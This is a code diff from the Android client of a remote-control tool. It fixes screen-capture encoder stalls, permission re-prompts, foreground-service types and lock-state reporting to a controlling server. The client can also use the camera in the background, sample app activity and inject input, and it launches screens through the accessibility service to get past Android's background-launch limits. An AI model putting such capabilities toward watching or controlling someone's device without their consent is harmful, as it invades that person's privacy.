ylogD("forceFirstFrame: restored ${w}x${h}")
|
||||
}, 150)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 远程桌面请求时没有可用的投影会话(Android TV 从未授权,或 Android 14 的单次
|
||||
* 授权在服务重启后失效):尝试拉起 MainActivity 重新走一遍系统「屏幕捕获」授权。
|
||||
* 优先用无障碍服务的 startActivity——系统绑定服务不受后台启动 Activity 限制。
|
||||
* 调用方是 native 的 ScreenSpyThread(g_requestPermMid),10 分钟内最多触发一次。
|
||||
*/
|
||||
@JvmStatic
|
||||
fun requestScreenCapturePermission() {
|
||||
val ctx = appContext ?: instance ?: return
|
||||
// request_projection:MainActivity 还活着时走 onNewIntent,靠这个 extra 重新发起授权;
|
||||
// 也避免把用户主动点图标打开 App 的情况误判成授权请求。
|
||||
val intent = Intent(ctx, MainActivity::class.java)
|
||||
// SINGLE_TOP:MainActivity 还活着且位于栈顶时走 onNewIntent 重新授权;
|
||||
// 没有它,NEW_TASK 只是把任务前置,既不走 onCreate 也不走 onNewIntent,
|
||||
// 授权界面永远弹不出来。
|
||||
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP)
|
||||
.putExtra(MainActivity.EXTRA_REQUEST_PROJECTION, true)
|
||||
val acc = ControlService.instance
|
||||
// AccessibilityService.startActivity(Intent) 是 API 24+;minSdk 21 上会抛
|
||||
// NoSuchMethodError,失败时回退到普通 startActivity。
|
||||
var launched = false
|
||||
if (acc != null) launched = runCatching { acc.startActivity(intent) }.isSuccess
|
||||
if (!launched) launched = runCatching { ctx.startActivity(intent) }.isSuccess
|
||||
ylogI("screen-capture permission prompt: launched=$launched")
|
||||
}
|
||||
|
||||
/**
|
||||
* SendLoop 检测到「采集在跑、但编码器零输出」时调用(电视睡眠后最常见:
|
||||
* MediaProjection 还在,SurfaceFlinger 却不再往旧的 VirtualDisplay 送帧)。
|
||||
* 用同一个 MediaProjection 重建编码器 + 虚拟显示(token 不消耗、无需重新授权);
|
||||
* 投影本身已经失效时把 native 尺寸清零,让下一次远程桌面重新走授权。
|
||||
*/
|
||||
@JvmStatic
|
||||
fun onEncoderStalled() {
|
||||
val svc = instance ?: return
|
||||
svc.idrHandler.post {
|
||||
val now = SystemClock.elapsedRealtime() // 单调时钟:墙上时间回拨不会让节流永久失效
|
||||
// last==0 是「本次开机还没重建过」:单调时钟 0 点是开机,开机 30 秒内
|
||||
// 不能因为 now-0 < 30000 就把第一次自愈吞掉。
|
||||
if (lastStallRestartMs != 0L && now - lastStallRestartMs < 30_000) return@post
|
||||
lastStallRestartMs = now
|
||||
val mp = svc.mediaProjection
|
||||
if (mp == null) {
|
||||
ylogI("capture stalled: projection gone, clearing screen size")
|
||||
YamaBridge.nativeSetScreenSize(0, 0)
|
||||
return@post
|
||||
}
|
||||
val (pw, ph) = svc.getPhysicalResolution()
|
||||
// 复用当前会话的编码尺寸,避免主控端解码器与新的 SPS 尺寸不一致。
|
||||
val keep = if (ControlService.encW > 0 && ControlService.encH > 0)
|
||||
Pair(ControlService.encW, ControlService.encH) else null
|
||||
ylogI("capture stalled: rebuilding encoder/virtual display (phys=${pw}x${ph}, keepEnc=${keep != null})")
|
||||
svc.releaseCaptureKeepProjection()
|
||||
val rebuilt = runCatching {
|
||||
svc.startCapture(mp, pw, ph, registerProjectionCallback = false, forcedEnc = keep)
|
||||
}.onFailure { ylogE("capture rebuild threw: $it") }.isSuccess
|
||||
// startCapture 先赋值 mediaCodec、后调 createVirtualDisplay;投影失效时
|
||||
// createVirtualDisplay 会抛异常,所以单看 mediaCodec 判不出失败。半初始化的
|
||||
// 编码器必须收干净、native 尺寸清零,否则后续远程桌面会一直带着旧尺寸停在
|
||||
// 「请等待」,也不会走重新授权。
|
||||
if (!rebuilt || svc.mediaCodec == null || svc.virtualDisplay == null) {
|
||||
ylogE("capture rebuild failed; clearing screen size")
|
||||
svc.releaseCaptureKeepProjection()
|
||||
YamaBridge.nativeSetScreenSize(0, 0)
|
||||
} else {
|
||||
// 静止画面(电视停在桌面/暂停的视频)没有任何脏区,新 VirtualDisplay
|
||||
// 不会合成出帧。和首条管线一样,用一次 ±2px resize 触发合成。
|
||||
forceFirstFrame()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// nativeInit 是否已完成。MainActivity 重新授权会再次 startForegroundService,同一个
|
||||
// Service 实例会收到第二次 onStartCommand:这时不能再次 nativeInit(main.cpp 的 CAS
|
||||
// 会返回 -1),否则失败分支会 stopSelf → nativeStop → 客户端直接掉线。
|
||||
private var nativeReady = false
|
||||
private var mediaProjection: MediaProjection? = null
|
||||
private var virtualDisplay: VirtualDisplay? = null
|
||||
private var mediaCodec: MediaCodec? = null
|
||||
@@ -220,29 +312,39 @@ class CaptureService : Service() {
|
||||
val res = "1:${sw}*${sh}"
|
||||
val user = Build.USER
|
||||
|
||||
// 初始化前不能走 ylog*/YamaBridge:那会触发 loadLibrary,失败时把类初始化搞坏,
|
||||
// 后面的 nativeInit 会变成 NoClassDefFoundError(不是下面两个 catch 能接住的)。
|
||||
Log.i(TAG, "CaptureService: server=$ip:$port device=$model res=$res")
|
||||
|
||||
// YB-01 fix: so 库加载失败是 Error,不被 catch(Exception) 捕获,需单独处理
|
||||
// ExceptionInInitializerError 包裹 UnsatisfiedLinkError(首次访问 object 时触发)
|
||||
val initRet: Int
|
||||
try {
|
||||
initRet = YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user, packageCodePath ?: "", filesDir.absolutePath,
|
||||
BuildConfig.VERSION_NAME, BuildConfig.VERSION_CODE)
|
||||
} catch (e: UnsatisfiedLinkError) {
|
||||
Log.e(TAG, "Native library load failed: $e")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
} catch (e: ExceptionInInitializerError) {
|
||||
Log.e(TAG, "Native library init failed: ${e.cause}")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
if (!nativeReady) {
|
||||
var initRet = 0
|
||||
try {
|
||||
initRet = YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user,
|
||||
packageCodePath ?: "", filesDir.absolutePath,
|
||||
BuildConfig.VERSION_NAME, BuildConfig.VERSION_CODE)
|
||||
} catch (e: UnsatisfiedLinkError) {
|
||||
ylogE("Native library load failed: $e")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
} catch (e: ExceptionInInitializerError) {
|
||||
ylogE("Native library init failed: ${e.cause}")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
} catch (e: Throwable) {
|
||||
// 类初始化失败后再次访问 YamaBridge 会抛 NoClassDefFoundError
|
||||
ylogE("nativeInit threw: $e")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
}
|
||||
if (initRet != 0 && initRet != -1) { // -1 = 已在运行(重复 start),不算失败
|
||||
ylogE("nativeInit failed: ret=$initRet")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
}
|
||||
nativeReady = true
|
||||
}
|
||||
if (initRet != 0) {
|
||||
Log.e(TAG, "nativeInit failed: ret=$initRet")
|
||||
stopSelf()
|
||||
return START_NOT_STICKY
|
||||
}
|
||||
|
||||
val projResult = intent.getIntExtra(EXTRA_PROJECTION_RESULT, -1)
|
||||
val projData = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU)
|
||||
intent.getParcelableExtra(EXTRA_PROJECTION_DATA, Intent::class.java)
|
||||
@@ -253,6 +355,22 @@ class CaptureService : Service() {
|
||||
// Android 14+: upgrade foreground type to MEDIA_PROJECTION in the same
|
||||
// start command that calls getMediaProjection(), as required by API 34+.
|
||||
startForegroundTyped(ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION)
|
||||
// 重复打开 MainActivity 会再次走到这里:它只在系统重建 Activity
|
||||
// (savedInstanceState != null)时才跳过授权,用户手动再点一次图标仍会
|
||||
// 重新走授权 → startForegroundService → 本函数。不先收掉上一次的
|
||||
// VirtualDisplay 和编码器,就会同时存在两套镜像 + 两路编码,白耗 CPU,
|
||||
// 而且旧 projection 一直挂在 onStop 回调上。
|
||||
//
|
||||
// mediaProjection 也必须纳入判断:本函数先赋值 mediaProjection,之后才进
|
||||
// startCapture() 建编码器。若 startCapture 在 mediaCodec 赋值之前抛异常
|
||||
// (createEncoderByType 失败、三套 configure 全失败),或分辨率非法压根
|
||||
// 没进 startCapture,就会停在「只有 mediaProjection 非空」的状态。只看
|
||||
// codec/vd 会漏掉它,旧 projection 永不 stop(),投屏指示器一直亮着,
|
||||
// 它的 onStop 回调也继续挂着。
|
||||
if (mediaCodec != null || virtualDisplay != null || mediaProjection != null) {
|
||||
ylogI("onStartCommand: releasing previous capture before restart")
|
||||
stopCapture()
|
||||
}
|
||||
val pm = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
|
||||
val mp = pm.getMediaProjection(projResult, projData)
|
||||
mediaProjection = mp
|
||||
@@ -261,13 +379,13 @@ class CaptureService : Service() {
|
||||
try {
|
||||
startCapture(mp, sw, sh)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Screen capture failed: $e — running without capture")
|
||||
ylogE("Screen capture failed: $e — running without capture")
|
||||
}
|
||||
} else {
|
||||
Log.e(TAG, "Invalid screen resolution ${sw}x${sh}, skipping capture")
|
||||
ylogE("Invalid screen resolution ${sw}x${sh}, skipping capture")
|
||||
}
|
||||
} else {
|
||||
Log.w(TAG, "No MediaProjection token, skipping screen capture")
|
||||
ylogW("No MediaProjection token, skipping screen capture")
|
||||
}
|
||||
|
||||
return START_STICKY
|
||||
@@ -277,23 +395,34 @@ class CaptureService : Service() {
|
||||
super.onDestroy()
|
||||
instance = null
|
||||
stopCapture()
|
||||
YamaBridge.nativeStop()
|
||||
Log.i(TAG, "CaptureService destroyed")
|
||||
// nativeInit 没成功过就不要碰 YamaBridge(类初始化失败后会抛 NoClassDefFoundError)
|
||||
ylogI("CaptureService destroyed")
|
||||
if (nativeReady) runCatching { YamaBridge.nativeStop() }
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- MediaProjection + MediaCodec
|
||||
|
||||
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int) {
|
||||
val (encW, encH) = scaleDown(physW, physH, MAX_LONG_SIDE)
|
||||
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int, registerProjectionCallback: Boolean = true, forcedEnc: Pair<Int, Int>? = null) {
|
||||
// 重建时必须沿用原会话的编码尺寸:主控端的解码器已按最初的 BITMAPINFO 初始化,
|
||||
// 睡眠后物理分辨率可能变化(实测 1080x606 → 1280x720),重新推导可能得到不同的
|
||||
// 编码尺寸,主控端会黑屏。forcedEnc 由 onEncoderStalled 传入。
|
||||
val (encW, encH) = forcedEnc ?: scaleDown(physW, physH, MAX_LONG_SIDE)
|
||||
val dpi = resources.displayMetrics.densityDpi
|
||||
|
||||
// 主控端上次保存的档位决定开抓码率;自适应档从 Good 起步(与服务端假设一致)
|
||||
val (bitRateKbps, fps) = ScreenTuning.startupRate()
|
||||
Log.i(TAG, "Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi " +
|
||||
ylogI("Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi " +
|
||||
"bitrate=${bitRateKbps}kbps fps=$fps level=${ScreenTuning.getQualityLevel()}")
|
||||
|
||||
val codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC)
|
||||
val surface = configureEncoder(codec, encW, encH, bitRateKbps, fps)
|
||||
// configureEncoder 三套配置都失败时会抛异常;此时 mediaCodec 还没赋值,
|
||||
// releaseCaptureKeepProjection 收不到它,必须在这里释放,否则每次重建失败都漏一个编码器。
|
||||
val surface = try {
|
||||
configureEncoder(codec, encW, encH, bitRateKbps, fps)
|
||||
} catch (e: Exception) {
|
||||
runCatching { codec.release() }
|
||||
throw e
|
||||
}
|
||||
currentBitRateKbps = bitRateKbps
|
||||
|
||||
var configData: ByteArray? = null
|
||||
@@ -329,23 +458,37 @@ class CaptureService : Service() {
|
||||
}
|
||||
|
||||
override fun onError(mc: MediaCodec, e: MediaCodec.CodecException) {
|
||||
Log.e(TAG, "MediaCodec error: $e")
|
||||
ylogE("MediaCodec error: $e")
|
||||
}
|
||||
|
||||
override fun onOutputFormatChanged(mc: MediaCodec, format: MediaFormat) {
|
||||
Log.i(TAG, "Output format: $format")
|
||||
ylogI("Output format: $format")
|
||||
}
|
||||
})
|
||||
|
||||
codec.start()
|
||||
try {
|
||||
codec.start()
|
||||
} catch (e: Exception) {
|
||||
// 同上:start 抛异常时 mediaCodec 还没赋值,编码器会漏掉
|
||||
runCatching { codec.release() }
|
||||
throw e
|
||||
}
|
||||
mediaCodec = codec
|
||||
|
||||
idrHandler.postDelayed(idrRunnable, 500)
|
||||
|
||||
// Android 14+ requires callback registered before createVirtualDisplay()
|
||||
mp.registerCallback(object : MediaProjection.Callback() {
|
||||
if (registerProjectionCallback) mp.registerCallback(object : MediaProjection.Callback() {
|
||||
override fun onStop() {
|
||||
Log.i(TAG, "MediaProjection stopped — switching to dataSync foreground type")
|
||||
// stop() 的回调是异步投递到主线程的,可能在新一轮 startCapture 之后
|
||||
// 才到达。身份不一致说明这是被我们主动收掉的旧 projection,忽略它,
|
||||
// 否则迟到的回调会把刚建好的 VirtualDisplay 和编码器一起拆掉。
|
||||
// 顺带也让 stopCapture() 内部的 mp.stop() 不再递归触发自己。
|
||||
if (mediaProjection !== mp) {
|
||||
ylogI("stale MediaProjection onStop ignored")
|
||||
return
|
||||
}
|
||||
ylogI("MediaProjection stopped — switching to dataSync foreground type")
|
||||
stopCapture()
|
||||
// Android 14+: system auto-kills a foreground service whose mediaProjection
|
||||
// is revoked. Re-declare as dataSync-only to survive without screen capture.
|
||||
@@ -353,12 +496,40 @@ class CaptureService : Service() {
|
||||
}
|
||||
}, null)
|
||||
|
||||
virtualDisplay = mp.createVirtualDisplay(
|
||||
val vd = mp.createVirtualDisplay(
|
||||
"YAMA",
|
||||
encW, encH, dpi,
|
||||
DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
|
||||
surface, null, null
|
||||
)
|
||||
// 返回 null 不会抛异常。原实现直接往下走并调用 nativeSetScreenSize,于是
|
||||
// ScreenSpyThread 认为投屏就绪、照常发 BITMAPINFO,而 surface 没有任何生产者,
|
||||
// 编码器永远不输出 → 服务端停在"请等待"。这里必须显式失败,不能静默。
|
||||
if (vd == null) {
|
||||
ylogE("createVirtualDisplay returned null (enc=${encW}x${encH} dpi=$dpi) — " +
|
||||
"no frames will be produced; check MediaProjection token")
|
||||
// 500ms 前已经 postDelayed 过 idrRunnable,不收掉它会每秒空转(mediaCodec
|
||||
// 已置 null,setParameters 是 null-safe,但没意义)。
|
||||
idrHandler.removeCallbacks(idrRunnable)
|
||||
runCatching { codec.stop() }
|
||||
runCatching { codec.release() }
|
||||
mediaCodec = null
|
||||
// projection 也要收掉:token 是一次性的,留着它既占资源,又让 onStop 回调
|
||||
// 继续挂在上面;下次授权拿到的会是另一个 projection。
|
||||
// 先置 null,让下面 mp.stop() 触发的异步 onStop 落到 stale 分支,不会再把
|
||||
// 刚降级好的前台类型改回去、也不会重入 stopCapture。
|
||||
mediaProjection = null
|
||||
// 关键:进本函数前 onStartCommand 已把前台类型升级成 MEDIA_PROJECTION。
|
||||
// projection 一旦 stop(),Android 14+ 会把仍声明该类型的前台服务一并停掉,
|
||||
// 服务被杀 → onDestroy → nativeStop → 主控端直接掉线。这里虽然没有画面可抓,
|
||||
// 但鼠标键盘控制、以及靠这条连接下发新档位/触发重新授权的通道都要保住,
|
||||
// 所以必须先降级回 DATA_SYNC(与 onStop 处理器同一套处理)。降级放在 stop()
|
||||
// 之前,避免系统按「此刻仍是 mediaProjection 类型」判定。
|
||||
startForegroundTyped(ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
|
||||
runCatching { mp.stop() }
|
||||
return
|
||||
}
|
||||
virtualDisplay = vd
|
||||
|
||||
YamaBridge.nativeSetScreenSize(encW, encH)
|
||||
|
||||
@@ -367,7 +538,7 @@ class CaptureService : Service() {
|
||||
ControlService.encW = encW
|
||||
ControlService.encH = encH
|
||||
|
||||
Log.i(TAG, "MediaCodec + VirtualDisplay started ${encW}x${encH}")
|
||||
ylogI("MediaCodec + VirtualDisplay started ${encW}x${encH}")
|
||||
}
|
||||
|
||||
private fun buildFmt(w: Int, h: Int, lowLatency: Boolean, baseline: Boolean,
|
||||
@@ -379,7 +550,13 @@ class CaptureService : Service() {
|
||||
setInteger(MediaFormat.KEY_FRAME_RATE, fps)
|
||||
setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 2)
|
||||
setInteger(MediaFormat.KEY_PRIORITY, 0)
|
||||
setInteger(MediaFormat.KEY_OPERATING_RATE, fps)
|
||||
// KEY_OPERATING_RATE 是给编码器的资源规划提示,不是限帧开关——真正的出帧
|
||||
// 节奏由画面内容和 KEY_FRAME_RATE 的码控决定。3ab5154 把它从写死的 30 改成
|
||||
// fps 之后,只要档位低于 30(Good=20、Medium=15、Low=12、Minimal=8)就会把
|
||||
// 它压到 30 以下;部分硬件编码器(TV 芯片尤其明显)会据此进入低功耗档,
|
||||
// configure/start 都成功却一帧都不输出,表现就是主控端一直停在"请等待"。
|
||||
// 保持不低于 30,与改动前固定 30 的行为一致。
|
||||
setInteger(MediaFormat.KEY_OPERATING_RATE, maxOf(fps, 30))
|
||||
if (lowLatency) {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N)
|
||||
setInteger(MediaFormat.KEY_LATENCY, 0)
|
||||
@@ -391,22 +568,26 @@ class CaptureService : Service() {
|
||||
MediaCodecInfo.CodecProfileLevel.AVCProfileBaseline)
|
||||
}
|
||||
|
||||
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容
|
||||
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容。
|
||||
// 电视(isTvDevice:leanback/television/uiMode)的硬件编码器对低延迟配置尤其敏感:
|
||||
// configure/createInputSurface/start 全部成功,但 KEY_LOW_LATENCY 下可能一帧都不输出
|
||||
// (与 KEY_OPERATING_RATE 压到 30 以下同类的低功耗行为)。电视上因此先试「默认配置」,
|
||||
// 手机保持原顺序。注意这与 D-pad 输入策略的 leanback 判定是两件事。
|
||||
private fun configureEncoder(codec: MediaCodec, w: Int, h: Int,
|
||||
bitRateKbps: Int, fps: Int): android.view.Surface {
|
||||
val configs = listOf(
|
||||
true to true,
|
||||
true to false,
|
||||
false to false,
|
||||
)
|
||||
val isTv = ControlService.isTvDevice(this)
|
||||
val configs = if (isTv)
|
||||
listOf(false to false, true to false, true to true)
|
||||
else
|
||||
listOf(true to true, true to false, false to false)
|
||||
for ((ll, bl) in configs) {
|
||||
try {
|
||||
val fmt = buildFmt(w, h, ll, bl, bitRateKbps, fps)
|
||||
codec.configure(fmt, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE)
|
||||
Log.i(TAG, "Encoder configured: lowLatency=$ll baseline=$bl")
|
||||
ylogI("Encoder configured: lowLatency=$ll baseline=$bl")
|
||||
return codec.createInputSurface()
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
|
||||
ylogW("Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
|
||||
try { codec.reset() } catch (_: Exception) {}
|
||||
}
|
||||
}
|
||||
@@ -423,6 +604,27 @@ class CaptureService : Service() {
|
||||
virtualDisplay = null
|
||||
mediaCodec = null
|
||||
mediaProjection = null
|
||||
// 编码器已经没了,必须把 native 侧记录的尺寸一起清零。ScreenSpyThread 只靠
|
||||
// g_screenWidth != 0 判断「投屏就绪」,不清零就会出现:MediaProjection 被系统
|
||||
// 停掉(电视待机/切走/系统回收都会触发 onStop)后编码器已释放,但尺寸还是旧值,
|
||||
// 客户端照常建子连接、发 TOKEN_BITMAPINFO,服务端收到尺寸后进入"请等待",而
|
||||
// 编码器一帧都产不出来 → 永远停在"请等待"。token 是一次性的,客户端自己恢复
|
||||
// 不了,只能重新走授权,所以这里唯一正确的动作是如实报告「没有投屏」。
|
||||
// native 初始化失败时(onDestroy 仍会走到这里)碰 YamaBridge 会抛
|
||||
// NoClassDefFoundError,必须由 nativeReady 挡住。
|
||||
if (nativeReady) runCatching { YamaBridge.nativeSetScreenSize(0, 0) }
|
||||
}
|
||||
|
||||
// 只拆编码器与虚拟显示、保留 MediaProjection:Android 14 的投影 token 是一次性的,
|
||||
// stop() 之后就只能重新授权。电视睡眠后旧的 VirtualDisplay 收不到合成帧时,用同一个
|
||||
// 投影重建一条新的虚拟显示即可恢复,不必打扰设备前的用户。
|
||||
private fun releaseCaptureKeepProjection() {
|
||||
idrHandler.removeCallbacks(idrRunnable)
|
||||
runCatching { virtualDisplay?.release() }
|
||||
runCatching { mediaCodec?.stop() }
|
||||
runCatching { mediaCodec?.release() }
|
||||
virtualDisplay = null
|
||||
mediaCodec = null
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- 辅助函数
|
||||
@@ -490,13 +692,19 @@ class CaptureService : Service() {
|
||||
checkSelfPermission(Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED) {
|
||||
types = types or ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE
|
||||
}
|
||||
// 摄像头管理(COMMAND_WEBCAM)要在后台用相机:Android 11+ 要求前台服务带 camera 类型。
|
||||
// 没授权时不能带,否则 startForeground 直接抛 SecurityException。
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R &&
|
||||
checkSelfPermission(Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
|
||||
types = types or ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA
|
||||
}
|
||||
try {
|
||||
startForeground(NOTIF_ID, buildNotification(), types)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "startForeground(types=0x${types.toString(16)}) failed: $e")
|
||||
ylogE("startForeground(types=0x${types.toString(16)}) failed: $e")
|
||||
if (types != base) {
|
||||
runCatching { startForeground(NOTIF_ID, buildNotification(), base) }
|
||||
.onFailure { Log.e(TAG, "startForeground(base=0x${base.toString(16)}) also failed: $it") }
|
||||
.onFailure { ylogE("startForeground(base=0x${base.toString(16)}) also failed: $it") }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -3,10 +3,13 @@ package com.yama.client
|
||||
import android.accessibilityservice.AccessibilityService
|
||||
import android.accessibilityservice.GestureDescription
|
||||
import android.annotation.SuppressLint
|
||||
import android.app.KeyguardManager
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.IntentFilter
|
||||
import android.content.pm.PackageManager
|
||||
import android.content.res.Configuration
|
||||
import android.graphics.Color
|
||||
import android.graphics.Path
|
||||
import android.graphics.PixelFormat
|
||||
@@ -21,6 +24,7 @@ import android.view.View
|
||||
import android.view.WindowManager
|
||||
import android.view.accessibility.AccessibilityEvent
|
||||
import android.view.accessibility.AccessibilityNodeInfo
|
||||
import java.util.Locale
|
||||
|
||||
/**
|
||||
* AccessibilityService that injects touch gestures and global key actions
|
||||
@@ -37,6 +41,15 @@ class ControlService : AccessibilityService() {
|
||||
companion object {
|
||||
const val TAG = "YAMA_CTRL"
|
||||
|
||||
/** 电视判定唯一实现:D-pad 输入、SCREEN_ON 清锁屏、编码器配置顺序都用它,
|
||||
* 避免两处判定漂移。非 GMS 的国产电视可能没有 leanback 特性,补 television/uiMode。 */
|
||||
@JvmStatic
|
||||
fun isTvDevice(context: Context): Boolean =
|
||||
context.packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK) ||
|
||||
context.packageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION) ||
|
||||
(context.resources.configuration.uiMode and Configuration.UI_MODE_TYPE_MASK) ==
|
||||
Configuration.UI_MODE_TYPE_TELEVISION
|
||||
|
||||
// 锁定时注入手势前的放行等待(毫秒):见 sendGesture 的说明。100ms 是实测能
|
||||
// 稳稳让 WMS 应用完 FLAG_NOT_TOUCHABLE 的最小值量级(官方没有回调可等)。
|
||||
private const val OVERLAY_BYPASS_DELAY_MS = 100
|
||||
@@ -45,8 +58,37 @@ class ControlService : AccessibilityService() {
|
||||
@Volatile var instance: ControlService? = null
|
||||
|
||||
// ── Active foreground window ─────────────────────────────────────
|
||||
@JvmStatic
|
||||
@Volatile var activeWindow: String = "Android"
|
||||
// 服务端心跳读的是这个属性的 Java getter(C++ 按 getActiveWindow 查找)。
|
||||
// 锁屏时与其他平台对齐返回 "Locked: HH:MM:SS"(已锁时长),否则返回前台包名。
|
||||
@Volatile private var foregroundPkg: String = "Android"
|
||||
@Volatile private var lockedAtElapsed: Long = 0L
|
||||
|
||||
@get:JvmStatic
|
||||
val activeWindow: String
|
||||
get() {
|
||||
val svc = instance
|
||||
// 无障碍服务不在时无法判断锁屏状态。以前这里保留上一次的 lockedAtElapsed,
|
||||
// 服务被杀/重启后会一直上报 "Locked: HH:MM:SS"(时长还一直在涨)。
|
||||
if (svc == null) {
|
||||
lockedAtElapsed = 0L
|
||||
return foregroundPkg
|
||||
}
|
||||
val now = SystemClock.elapsedRealtime()
|
||||
// 只认 ACTION_SCREEN_OFF 记下的起点:db148c4 起改成每次心跳都问
|
||||
// KeyguardManager,而部分电视(如 Changhong AI PONT)这个值恒为 true,
|
||||
// 正在看 YouTube 也会一直上报 "Locked: HH:MM:SS",前台应用永远不更新。
|
||||
// 手机上的锁屏由 SCREEN_OFF → USER_PRESENT 这对广播覆盖,不需要再问 keyguard。
|
||||
if (lockedAtElapsed != 0L)
|
||||
return "Locked: " + formatElapsed(now - lockedAtElapsed)
|
||||
return foregroundPkg
|
||||
}
|
||||
|
||||
// 锁屏时长,格式与 Windows/macOS 的 "Locked: HH:MM:SS" 一致
|
||||
private fun formatElapsed(ms: Long): String {
|
||||
val total = (ms / 1000).coerceAtLeast(0)
|
||||
return String.format(Locale.US, "%02d:%02d:%02d",
|
||||
total / 3600, (total % 3600) / 60, total % 60)
|
||||
}
|
||||
|
||||
// ── 历史活动采样用的前台应用标题(C++ ActivityHistory 的 probe 每秒调一次)──
|
||||
// 辅助功能服务没启用时返回 null,让「历史活动」报告能说清是缺权限,而不是
|
||||
@@ -56,10 +98,12 @@ class ControlService : AccessibilityService() {
|
||||
@JvmStatic
|
||||
fun currentActivityTitle(): String? {
|
||||
val svc = instance ?: return null
|
||||
val pkg = activeWindow
|
||||
// 历史活动里锁屏仍按空闲处理(C++ 侧只认裸 "Locked"),不要带时长。
|
||||
// 与 activeWindow 一致:只看 SCREEN_OFF 记下的起点,不问 KeyguardManager。
|
||||
if (lockedAtElapsed != 0L) return "Locked"
|
||||
val pkg = foregroundPkg
|
||||
return when {
|
||||
pkg.isEmpty() -> null
|
||||
pkg == "Locked" -> pkg // 锁屏/息屏:C++ 侧当空闲处理,不记录
|
||||
pkg == "Android" -> svc.getString(R.string.activity_home)
|
||||
else -> synchronized(labelCache) {
|
||||
labelCache.getOrPut(pkg) { describeApp(svc, pkg) }
|
||||
@@ -177,19 +221,48 @@ class ControlService : AccessibilityService() {
|
||||
private val screenReceiver = object : BroadcastReceiver() {
|
||||
override fun onReceive(context: Context?, intent: Intent?) {
|
||||
when (intent?.action) {
|
||||
Intent.ACTION_SCREEN_OFF -> activeWindow = "Locked"
|
||||
Intent.ACTION_USER_PRESENT -> activeWindow = "Android"
|
||||
// 只记录起点;上报时由 activeWindow 的 getter 算 "Locked: HH:MM:SS"
|
||||
Intent.ACTION_SCREEN_OFF -> lockedAtElapsed = SystemClock.elapsedRealtime()
|
||||
// 亮屏时判断是否还需要解锁:
|
||||
// · 电视(isTvLike)没有锁屏,且 ACTION_USER_PRESENT 往往根本不来;
|
||||
// · 没设置锁屏密码的手机/平板(keyguard 未锁)也不会收到 USER_PRESENT。
|
||||
// 这两种情况必须清掉 SCREEN_OFF 记下的起点,否则会一直上报
|
||||
// 「Locked: 23:12:57」这种越涨越久的假锁屏。
|
||||
// 有锁屏的手机保持起点,等 USER_PRESENT(或服务重连时的校准)来清。
|
||||
Intent.ACTION_SCREEN_ON -> if (isTvLike || !isKeyguardLockedNow()) lockedAtElapsed = 0L
|
||||
Intent.ACTION_USER_PRESENT -> {
|
||||
lockedAtElapsed = 0L
|
||||
foregroundPkg = "Android"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 锁屏判断只用于「事件点的校准」(SCREEN_ON / 服务重连),不要放回每次心跳的
|
||||
// activeWindow getter:部分电视/机型恒返回 true,那正是活动窗口卡在 Locked 的原因。
|
||||
private fun isKeyguardLockedNow(): Boolean {
|
||||
val km = getSystemService(Context.KEYGUARD_SERVICE) as? KeyguardManager ?: return false
|
||||
return km.isKeyguardLocked
|
||||
}
|
||||
|
||||
// ── Main-thread handler ───────────────────────────────────────────────
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
// ── TV (Google TV / Android TV) D-pad mode ───────────────────────────
|
||||
// Activated when FEATURE_LEANBACK is present. Mouse events are translated
|
||||
// to accessibility focus navigation — no touchscreen or root required.
|
||||
private var isTV = false
|
||||
//
|
||||
// 两个判定必须分开,且都用不可变惰性值(不要改成生命周期里赋值的 var):
|
||||
// · isTV —— 输入策略:D-pad 焦点导航 vs 直接触摸注入。只认 leanback。
|
||||
// 在不需要 D-pad 的设备上误开会让远程鼠标完全失效;反过来
|
||||
// 在需要 D-pad 的电视上误关会让控制完全失效(2026-11-22 事故)。
|
||||
